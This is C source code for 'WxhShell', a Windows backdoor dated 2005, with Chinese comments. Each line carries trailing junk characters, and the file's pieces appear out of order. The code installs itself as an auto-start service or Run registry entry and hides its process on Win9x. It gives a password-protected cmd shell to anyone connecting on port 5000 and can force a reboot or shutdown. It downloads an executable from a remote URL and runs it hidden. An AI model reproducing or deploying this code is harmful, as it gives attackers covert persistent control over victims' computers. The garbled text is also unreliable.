  // 关机 H1Jk_@b  
  case 'd': { LuW>8K\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yxk:5L \A  
    if(Boot(SHUTDOWN)) u1 Z;n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {#`O'F>  
    else { Y8v13"P6  
    closesocket(wsh); {=I:K|&  
    ExitThread(0); }uR[H2D`L  
    } R`5g#  
    break; d?ru8  
    } `D-P}hDm!  
  // 获取shell 2JdzeJb  
  case 's': { S@Iza9\|@  
    CmdShell(wsh); A>\5fO  
    closesocket(wsh); 4t 5i9+h  
    ExitThread(0); |VX )S!  
    break; p~'iK4[&6  
  } >V%lA3  
  // 退出 6;:z?Q  
  case 'x': { \1Xr4H u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yyxsj9  
    CloseIt(wsh); q]scKWYI  
    break; !\< [}2}  
    } ^/~ZP?%]  
  // 离开 HOaNhJ{7D  
  case 'q': { J tvZ~s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #7Fdmnu`  
    closesocket(wsh); ^%n]_[RUn4  
    WSACleanup(); <uYrYqN  
    exit(1); 4%B0H>  
    break; #Z. QMWq  
        } o;TS69|D  
  } VQ"Z3L3-4  
  } J8'1 ~$6  
?kIyo  
  // 提示信息 "hmLe(jo}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '@/1e\-y  
} -1{f(/  
  } ;A6%YY  
,xw1B-dx  
  return; Tbp;xv_qo  
} f@@7?5fW  
l"zA~W/  
// shell模块句柄 ;~-ZN?8   
int CmdShell(SOCKET sock) G{.[o6>  
{ Ct][B{  
STARTUPINFO si; jj&mRF0gCb  
ZeroMemory(&si,sizeof(si)); I A%ZCdA;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3q W](  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B[ .$<$}G  
PROCESS_INFORMATION ProcessInfo; skm~~JM^  
char cmdline[]="cmd"; 38 ] }+Bb  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F;bkV}^  
  return 0; GaCRo7  
} $Ge0<6/  
pwH*&YU  
// 自身启动模式 EQWRfx?d  
int StartFromService(void) < z#.J]  
{ z]2MR2W@X  
typedef struct Oq^t[X'  
{ })+iAxR  
  DWORD ExitStatus; }a !ny  
  DWORD PebBaseAddress; .mHVJ5^:4\  
  DWORD AffinityMask; /a*8z,x  
  DWORD BasePriority; .p =OAh<  
  ULONG UniqueProcessId; SBy{sbx4&F  
  ULONG InheritedFromUniqueProcessId; F EUfskv  
}   PROCESS_BASIC_INFORMATION; AGl#f\_^  
+Wl]1 c/  
PROCNTQSIP NtQueryInformationProcess; uO>x"D5tZ:  
7Ll? #eun  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Q45gC28x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QQ`tSYgex  
H_ a##z  
  HANDLE             hProcess; M"Af_Pbx  
  PROCESS_BASIC_INFORMATION pbi; u6 QW*8b4  
4.Q[Tu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >V?W_oM)  
  if(NULL == hInst ) return 0; ^F'~|zc"C  
H:EK&$sU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); w&@zJ[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xM=ydRu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E-%$1=;  
G4U0|^(h  
  if (!NtQueryInformationProcess) return 0; 2Wg:eh  
<BIQc,)2}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;m7~!m)  
  if(!hProcess) return 0; ?0'e_s  
*LMzq9n3o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =0L%<@yA  
k`#E#1niN  
  CloseHandle(hProcess); |$;4/cKfy  
w/ ^_w5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,A&`WE  
if(hProcess==NULL) return 0; CIui9XNU  
fW Pa1E@  
HMODULE hMod; *s#6e}  
char procName[255];  ?H!jKX  
unsigned long cbNeeded; Nd]RbX  
)Z/$;7]#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <"K2t Tg.  
n=)LB& m  
  CloseHandle(hProcess); S|xwYaoy%  
pP#D*hiP-g  
if(strstr(procName,"services")) return 1; // 以服务启动 /Xj{]i3{  
k( Ik+=u  
  return 0; // 注册表启动 h oO847  
} Ml9m#c  
QW'*^^  
// 主模块 P l!E$   
int StartWxhshell(LPSTR lpCmdLine) ju5o).!bg  
{ EXF]y}n  
  SOCKET wsl; E7i/gY  
BOOL val=TRUE; l-cBN^^  
  int port=0; p Hx$  
  struct sockaddr_in door; 3-E-\5I  
~+d{:WY  
  if(wscfg.ws_autoins) Install(); @{U UB=}9  
Tay$::V  
port=atoi(lpCmdLine); ~9OZRt[&  
TV0sxod6  
if(port<=0) port=wscfg.ws_port; JhjH_)  
b)x0;8<  
  WSADATA data; iITMBS`}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :Jf</uP_  
dGj0;3FI%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m,"-/)  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  }D+ b`,  
  door.sin_family = AF_INET; s?s ,wdp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $9j>oUG  
  door.sin_port = htons(port); |Xm$O1Wa  
?(U;T!n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JU;`c>8=)  
closesocket(wsl); @ ;@~=w  
return 1; p^}`^>OL  
} $a8,C\m e?  
3M(*q4A$"  
  if(listen(wsl,2) == INVALID_SOCKET) { YD@Z}NE v"  
closesocket(wsl); {]U \HE1w  
return 1; [3sZ=)G  
} E<}sGzMc  
  Wxhshell(wsl); ev0>j4Q  
  WSACleanup(); 8ki3>"!A  
6;\1bP?  
return 0;  0Gc:+c7{  
YM#MfL#  
} wfe4b  
w N`Nj m9!  
// 以NT服务方式启动 ~\2%h lA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r~JGs?GH  
{ )t3`O$J  
DWORD   status = 0; C-)d@LWI  
  DWORD   specificError = 0xfffffff; PH&Qw2(Sx  
tl{{Vc[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >itNa.K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;~L,Aqn7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5073Q~  
  serviceStatus.dwWin32ExitCode     = 0; 6$:Q]zR#'H  
  serviceStatus.dwServiceSpecificExitCode = 0; h)fsLzn]Tf  
  serviceStatus.dwCheckPoint       = 0; x#&_/oqAk  
  serviceStatus.dwWaitHint       = 0; jjQDw=6  
q9p31b3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TBrw ir  
  if (hServiceStatusHandle==0) return; D vvi)/<  
4X*U~}  
status = GetLastError(); q]C_idK=  
  if (status!=NO_ERROR) 8X.= 6M  
{ XN6$TNsD$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1<Mb@t  
    serviceStatus.dwCheckPoint       = 0; < qab\M0W  
    serviceStatus.dwWaitHint       = 0; /;w(sU  
    serviceStatus.dwWin32ExitCode     = status; Y3~z#<  
    serviceStatus.dwServiceSpecificExitCode = specificError; K?[Vz[-Fc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KAD2_@l  
    return; h,B4Tg'  
  } AG}j'   
BfCM\ij  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; , `Z4fz:  
  serviceStatus.dwCheckPoint       = 0; gE$Uv*Gj  
  serviceStatus.dwWaitHint       = 0; rr2 !H%:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +6l#hO7h  
} P_0[spmFU  
=H8FV09x}  
// 处理NT服务事件,比如:启动、停止 4h_YVG]ur  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1$.svR  
{ ;+(_stxqV9  
switch(fdwControl) /n(0w`   
{ `p9N| V  
case SERVICE_CONTROL_STOP: V s xI  
  serviceStatus.dwWin32ExitCode = 0; 'I+M*Iy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4i{Xs5zk  
  serviceStatus.dwCheckPoint   = 0; <9 ^7r J  
  serviceStatus.dwWaitHint     = 0; G1w$lc  
  { AaxQBTB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ub fh4  
  } ^^7@kh mNl  
  return; mD.6cV  
case SERVICE_CONTROL_PAUSE: 0>BI[x@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $#+D:W)az  
  break; 7g]mrI@  
case SERVICE_CONTROL_CONTINUE: (yi zM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P*?|E@;s`  
  break; WA1d8nl  
case SERVICE_CONTROL_INTERROGATE: =No#/_  
  break; ~GX ]K H  
}; oy#(]K3`O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); QICxSk  
} T?f{.a)  
P (7Q8i'  
// 标准应用程序主函数 # $k1w@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Yb`b /BMR  
{ (0#$%US\  
!~%DR~^`  
// 获取操作系统版本 U ^GVz%\  
OsIsNt=GetOsVer(); z8'zH>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]S]W|m7=.Z  
](Wa:U}Xs  
  // 从命令行安装 2]9 2J  
  if(strpbrk(lpCmdLine,"iI")) Install(); |n tWMm:(  
"0Z /|&  
  // 下载执行文件 =y@0i l+V  
if(wscfg.ws_downexe) { $\vNST E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x:~XZX\mwH  
  WinExec(wscfg.ws_filenam,SW_HIDE); Rvu5#_P  
} %Rf9 KQ  
=^rp= Az  
if(!OsIsNt) { $V`1<>4  
// 如果时win9x,隐藏进程并且设置为注册表启动 csLbzDg  
HideProc(); 1Dc6v57  
StartWxhshell(lpCmdLine); KMkD6g  
} d9U)O6=  
else kZF<~U  
  if(StartFromService()) CUG"2K9  
  // 以服务方式启动 /bo=,%wJ[  
  StartServiceCtrlDispatcher(DispatchTable); b\H&E{Gn|x  
else (M1YOK)I  
  // 普通方式启动 <F&XT@  
  StartWxhshell(lpCmdLine); o938!jML_  
\WTKw x  
return 0; 6@/k|t>OT  
} \/j,  
C{^I}p  
R!"|~OO  
,9jk<)m]L  
=========================================== "u4x#7n|  
`5h^!="  
HH7WMYoKY  
WxO+cB+?  
CC"a2Hu/  
M[z1B!rT  
" .On qj^v  
wGT>Xh!  
#include <stdio.h> gt.F[q3  
#include <string.h> ;>6~}lMgJ  
#include <windows.h> wE=I3E%  
#include <winsock2.h> `W@jo~ y<  
#include <winsvc.h> L-}Uj^yF  
#include <urlmon.h> pGR3  
C@:X9NU  
#pragma comment (lib, "Ws2_32.lib") FGP^rTP)e  
#pragma comment (lib, "urlmon.lib") /ivVqOo  
Yl'8" \HF  
#define MAX_USER   100 // 最大客户端连接数 xSM1b5=Pu  
#define BUF_SOCK   200 // sock buffer nj;3U^  
#define KEY_BUFF   255 // 输入 buffer 'a JE+  
c;"e&tW  
#define REBOOT     0   // 重启 KFO K%vbM  
#define SHUTDOWN   1   // 关机 <Fx%P:d  
W<#!He  
#define DEF_PORT   5000 // 监听端口 ~/JS_>e#6P  
xYv;l\20.  
#define REG_LEN     16   // 注册表键长度 e_3jyA@v  
#define SVC_LEN     80   // NT服务名长度 <a=OiY  
.xT{Rz  
// 从dll定义API P/[RH e  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `@1e{ ?$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KGc.YUoE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qyVARy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u1UCe  
(n>Gi;u(R  
// wxhshell配置信息 p9 ,[kb  
struct WSCFG { 5RWqHPw+  
  int ws_port;         // 监听端口 XY? Cl  
  char ws_passstr[REG_LEN]; // 口令 fB7Jx6   
  int ws_autoins;       // 安装标记, 1=yes 0=no MS#*3Md&y  
  char ws_regname[REG_LEN]; // 注册表键名 nu1XT 1q1  
  char ws_svcname[REG_LEN]; // 服务名 Xr8fmJtg'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3J 5,V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T*#M'H7LSQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0nD?X+u  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >\:GFD{z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xq,ql@7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rA?< \*  
dwUDhQt3Q  
}; +UX~'t_'v  
<+ [N*  
// default Wxhshell configuration =$y J66e  
struct WSCFG wscfg={DEF_PORT, d6[' [dG  
    "xuhuanlingzhe", zvq}7,  
    1, OS<GAA0  
    "Wxhshell", 6m]?*k1HC  
    "Wxhshell", w[ 3a^  
            "WxhShell Service", #7'k'(  
    "Wrsky Windows CmdShell Service", ~&ns?z>x  
    "Please Input Your Password: ", /E\04Bs  
  1, 2NjgLXP  
  "http://www.wrsky.com/wxhshell.exe", a]5y CBm  
  "Wxhshell.exe" rf]z5;  
    }; SYsO>`/ )  
WH39=)D%u  
// 消息定义模块 i g7|kl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E`qX|n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jwLZC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (91ts$jH  
char *msg_ws_ext="\n\rExit."; f2o6GC_  
char *msg_ws_end="\n\rQuit."; Y7q Q` |  
char *msg_ws_boot="\n\rReboot..."; lo6upir ZX  
char *msg_ws_poff="\n\rShutdown..."; K2n#;fY %  
char *msg_ws_down="\n\rSave to "; DQ/rx`BG  
u$5.GmKm  
char *msg_ws_err="\n\rErr!"; 9__Q-J  
char *msg_ws_ok="\n\rOK!"; p8-$MF]] 6  
K$}K2w  
char ExeFile[MAX_PATH]; $?z} yx$  
int nUser = 0; <=6F=u3PtU  
HANDLE handles[MAX_USER]; 1oiSmW\  
int OsIsNt; M,ybj5:6  
hPG@iX|V  
SERVICE_STATUS       serviceStatus; yN`&oya  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; t$VRNZ`dy  
"0 %f R"  
// 函数声明 ?,v& o>*  
int Install(void); j(;ou?Uh  
int Uninstall(void); Zon7G6s9`  
int DownloadFile(char *sURL, SOCKET wsh); <zTz/Hk`  
int Boot(int flag); =a=:+q g  
void HideProc(void); qj:[NPwaM  
int GetOsVer(void); wexX|B^u  
int Wxhshell(SOCKET wsl); [Rq|;p  
void TalkWithClient(void *cs); II _CT=  
int CmdShell(SOCKET sock); XA>uCJf  
int StartFromService(void); XI$W  
int StartWxhshell(LPSTR lpCmdLine); *Od?>z  
f9Xa}*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [X]hb7-&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~fL`aU&  
z!b:|*m]w  
// 数据结构和表定义 %1#|>^  
SERVICE_TABLE_ENTRY DispatchTable[] = dD39?K/  
{ Y$Rte .?  
{wscfg.ws_svcname, NTServiceMain}, m*iSW]&  
{NULL, NULL} NPO!J^^  
}; S[y_Ew zq  
0<4'pO.6Hq  
// 自我安装 p-(V2SP/)t  
int Install(void) %qeNC\6N  
{ @C[p?ak  
  char svExeFile[MAX_PATH]; k^;/@:  
  HKEY key; d^tY?*n  
  strcpy(svExeFile,ExeFile); ' i5}`\  
~~"U[G1  
// 如果是win9x系统,修改注册表设为自启动 N`H`\+  
if(!OsIsNt) { <Tbl |9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p^w)@^f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rbv  
  RegCloseKey(key); J~`!@!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wKfq'W{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xqlnHf<G  
  RegCloseKey(key); ]xb2W~  
  return 0; e~># M $  
    } ~X<$ l+5  
  } 7tJ#0to  
} KdZ=g ZSH  
else { ,+v(?5[6  
+G!# /u1  
// 如果是NT以上系统,安装为系统服务 !J{[XT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /?Y4C)G  
if (schSCManager!=0) w&es N$2  
{ k[<i+C";  
  SC_HANDLE schService = CreateService s{X+0_@Q  
  ( 6kR3[]:16v  
  schSCManager, Dh#5-Kf%  
  wscfg.ws_svcname,  4y5Q5)j  
  wscfg.ws_svcdisp, S_??G:i  
  SERVICE_ALL_ACCESS, x+'Ea.^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kDQE*o  
  SERVICE_AUTO_START, l$HBYA\Qh  
  SERVICE_ERROR_NORMAL, /']`}*d  
  svExeFile, C~.\2D`zy  
  NULL, cR55,DR,#W  
  NULL, ih75 C"  
  NULL, 5__B M5|  
  NULL, ?l @=}WN  
  NULL ?uP5("c  
  ); i~<.@&vt  
  if (schService!=0) &"Cy&[  
  { I'n}6D.M  
  CloseServiceHandle(schService); U_Mag(^-  
  CloseServiceHandle(schSCManager); -<T> paE9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +Qzl-eN/+  
  strcat(svExeFile,wscfg.ws_svcname); } 21!b :a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B 'd@ms  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bng/v  
  RegCloseKey(key); /=#~8  
  return 0; &FZ~n?;hQ  
    } ) R5[a O  
  } 7N vRZ!  
  CloseServiceHandle(schSCManager); |VyN>&r~6  
} B'vIL'  
} 1Zo3K<*J  
U =g&c `  
return 1; 0d~?|Nv -  
} /a-s9<  
3a U4Z|f~  
// 自我卸载 wA,-!m  
int Uninstall(void) &g*1If  
{ @l_rB~  
  HKEY key; Gcxz$.(  
M#8_Qbvfk  
if(!OsIsNt) { JH2-'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rf=-Q %  
  RegDeleteValue(key,wscfg.ws_regname); $|!3ks  
  RegCloseKey(key); HG5E,^1n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *|L;&XM&/  
  RegDeleteValue(key,wscfg.ws_regname); dIQ3snG  
  RegCloseKey(key); w; f LnEz_  
  return 0; \l5G   
  } 4Uwcc):f  
} v`7~#Avhz  
} :8+x&zn  
else { A&-2f]L tl  
,^v_gc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ck/w:i@>?  
if (schSCManager!=0) 4VsttT  
{ 'XYjo&w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =gd~rk9  
  if (schService!=0) k%N$eO$  
  { Vm I Afe  
  if(DeleteService(schService)!=0) { ?4W6TSW-'  
  CloseServiceHandle(schService); +j8-l-o  
  CloseServiceHandle(schSCManager); :F"NF  
  return 0; cvtn,Ml6  
  } 7s0y.i~  
  CloseServiceHandle(schService); +&M>J|  
  } x;STt3M~  
  CloseServiceHandle(schSCManager); !0KN A1w,  
} =C)2DWJ1  
} wwa)VgoS[  
tjne[p  
return 1; `'bu8JK  
} 1u }2}c|  
W<~u0AyO 3  
// 从指定url下载文件 y;.5AvfD  
int DownloadFile(char *sURL, SOCKET wsh) $ 93j;  
{ b'`C<Rk  
  HRESULT hr; 4C;"4''L  
char seps[]= "/"; H$zDk  
char *token; =%[vHQ\%  
char *file; `w "ooK  
char myURL[MAX_PATH]; {~Q}{ha  
char myFILE[MAX_PATH]; 2 jxh7\zE  
bl|)/)6o  
strcpy(myURL,sURL); PvxU.  
  token=strtok(myURL,seps); mMK 93Ng"&  
  while(token!=NULL) VZk;{  
  { pWoeF=+y]W  
    file=token; r|953e  
  token=strtok(NULL,seps);  SmAF+d  
  } _2}/rwVg  
_znn`_N:v  
GetCurrentDirectory(MAX_PATH,myFILE); i$!K{H1{9  
strcat(myFILE, "\\"); k/Ao?R=@gI  
strcat(myFILE, file); Y5mk*Q#q  
  send(wsh,myFILE,strlen(myFILE),0); WBD"d<>'  
send(wsh,"...",3,0); >IZ$ .-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `n`HwDo;i  
  if(hr==S_OK) 2kFP;7FO  
return 0; E@Yq2FBpnn  
else ZYTBc#f  
return 1; 7;sF0oB5e  
mw\Pv|  
} 4%SA%]a L1  
}$3pS:_N~  
// 系统电源模块 \LM{.g zT  
int Boot(int flag) .;:dG  
{ "haJwV6-  
  HANDLE hToken; a{kLAx[>  
  TOKEN_PRIVILEGES tkp; Z?."cuTt  
U\"FYTC  
  if(OsIsNt) { v dU)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o fCN[u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pEG!j ~  
    tkp.PrivilegeCount = 1; Tx$bg(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,@8*c0Y~<!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [O3)s]|  
if(flag==REBOOT) { z{U^j:A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) % )}rQqQ  
  return 0; (/_w23rr  
} [](] "r  
else { /jn0Xh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [Lid%2O3ZR  
  return 0; 9_%??@^>  
} ?r.U5}PBI  
  } <x:^w'V_b  
  else { a#/~rNRY  
if(flag==REBOOT) { )=#zMdK&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Gnie|[3  
  return 0; 9Om3<der  
} 6[a;83  
else { mk3,ke8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9H cxL  
  return 0; ZBc8 ^QZ  
} D.w6/DxaXa  
} ^ `[T0X  
42PA?^xPw  
return 1; U ~8, N[  
} #sf1,k5'  
Es1T{<G|w  
// win9x进程隐藏模块 *HQ>tvUh  
void HideProc(void) zi+NQOhR  
{ "Q1oSpF  
W`jKe-jF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zm=|#f  
  if ( hKernel != NULL ) =n_>7@9l  
  { &^F'ME  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -EWC3,3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4FJA+  
    FreeLibrary(hKernel); )H*BTfmt  
  } ded:yho   
)p 8P\Rl  
return;  ]l=iKl  
} F%:o6mT  
*#o2b-[V  
// 获取操作系统版本 ])Z p|?Y  
int GetOsVer(void) W!b'nRkq  
{ |k/;1.b!9(  
  OSVERSIONINFO winfo; -^$IjK-N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); < _ <?p&  
  GetVersionEx(&winfo); \|R\pS}4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "0?" E\  
  return 1; 6oq/\D$6~  
  else Xcci)",!  
  return 0; 7vB6IF  
} -b'/}zz  
?s9f}>  
// 客户端句柄模块 n wO5<b;  
int Wxhshell(SOCKET wsl) $gaGaB  
{ srd\Mf_Ej  
  SOCKET wsh; jlaC: (6  
  struct sockaddr_in client; 0$. ;EGP  
  DWORD myID; m=D9V-P  
BVxk}#d  
  while(nUser<MAX_USER) NPt3#k^bW  
{ 6=jL2cqx  
  int nSize=sizeof(client); zkHyx[L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v2f|%i;tq  
  if(wsh==INVALID_SOCKET) return 1; /k=k rAz.  
+}^^]J$Nh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'M% uw85  
if(handles[nUser]==0) Wf-Pa9  
  closesocket(wsh); o65I(`  
else E{IY7Xz^>  
  nUser++; W,[iRmxn  
  } 6G>loNM^  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VI8/@A1Gv  
vk|xYDD  
  return 0; ;% l0Ml>  
} _/h<4G6A  
<d$t*vnq  
// 关闭 socket C&RZdh,$  
void CloseIt(SOCKET wsh) #8a k=lL  
{ s#)0- Zj  
closesocket(wsh); o(oD8Ni  
nUser--; d+&w7/F  
ExitThread(0); 4-W~ 1  
} Ew&|!d  
@eN,m {b  
// 客户端请求句柄 ~Da-|FKa>  
void TalkWithClient(void *cs) QT[4\)  
{ G$6mtw6[M  
u'Z^|IVfo  
  SOCKET wsh=(SOCKET)cs; 88A,ll%  
  char pwd[SVC_LEN]; {6HgKI  
  char cmd[KEY_BUFF]; Fz@U\\94z  
char chr[1]; )S|&3\  
int i,j; o:lMRP~  
2:&QBwr+;  
  while (nUser < MAX_USER) { [&:dPd1_  
c=4z+_K  
if(wscfg.ws_passstr) { B8?j"AF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~f?brQ?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dIk9C|-.  
  //ZeroMemory(pwd,KEY_BUFF); FdS'0#$  
      i=0; jluv}*If  
  while(i<SVC_LEN) { 5ih5=qX  
$!\Z_ :  
  // 设置超时 }}4uLGu)  
  fd_set FdRead; i6xzHfaYG  
  struct timeval TimeOut; F[~~fm_  
  FD_ZERO(&FdRead); k3&/Ei5  
  FD_SET(wsh,&FdRead); /=:F w}vt  
  TimeOut.tv_sec=8; HnY.=_G  
  TimeOut.tv_usec=0; 4gn|zSe>^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >,c'Z<TM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OZ2faf  
6Q}>=R^h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;rt\  
  pwd=chr[0]; Y|-:z@n6C  
  if(chr[0]==0xd || chr[0]==0xa) { |uM(A~?  
  pwd=0; ZKVM9ofXRi  
  break; (FSa>  
  } !1`f84d  
  i++; P&AaD!Qn  
    } j`_tb   
<E7y:%L[Go  
  // 如果是非法用户,关闭 socket ~!'T!g%C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F-2Q3+7$  
} /D;cm  
CiIIlE4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :<xf'.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H=*2A!O[_  
{&pBy  
while(1) { a0hgF_O1  
Fhs/<w-  
  ZeroMemory(cmd,KEY_BUFF); \d QRQL{LL  
qmq#(%Z <W  
      // 自动支持客户端 telnet标准   BXUd i&'O  
  j=0; \;!g@?CA  
  while(j<KEY_BUFF) { "cDc~~3/@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fILD~  
  cmd[j]=chr[0]; +A2}@k   
  if(chr[0]==0xa || chr[0]==0xd) { /cx Ei6I-  
  cmd[j]=0; |O[ I=!  
  break; ._`?ZJ  
  } ]v0=jm5A  
  j++; 3OJGBiDAr  
    } 1b8}TG2  
}XRRM:B|)(  
  // 下载文件 B'D~Q  
  if(strstr(cmd,"http://")) { zu``F]B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +3?.Vb%jY  
  if(DownloadFile(cmd,wsh)) @gm!D`YL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l/56;f\IA  
  else Bx0=D:j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l:sfM`Z^[  
  } -Vj112 fI  
  else { c5t7X-LB  
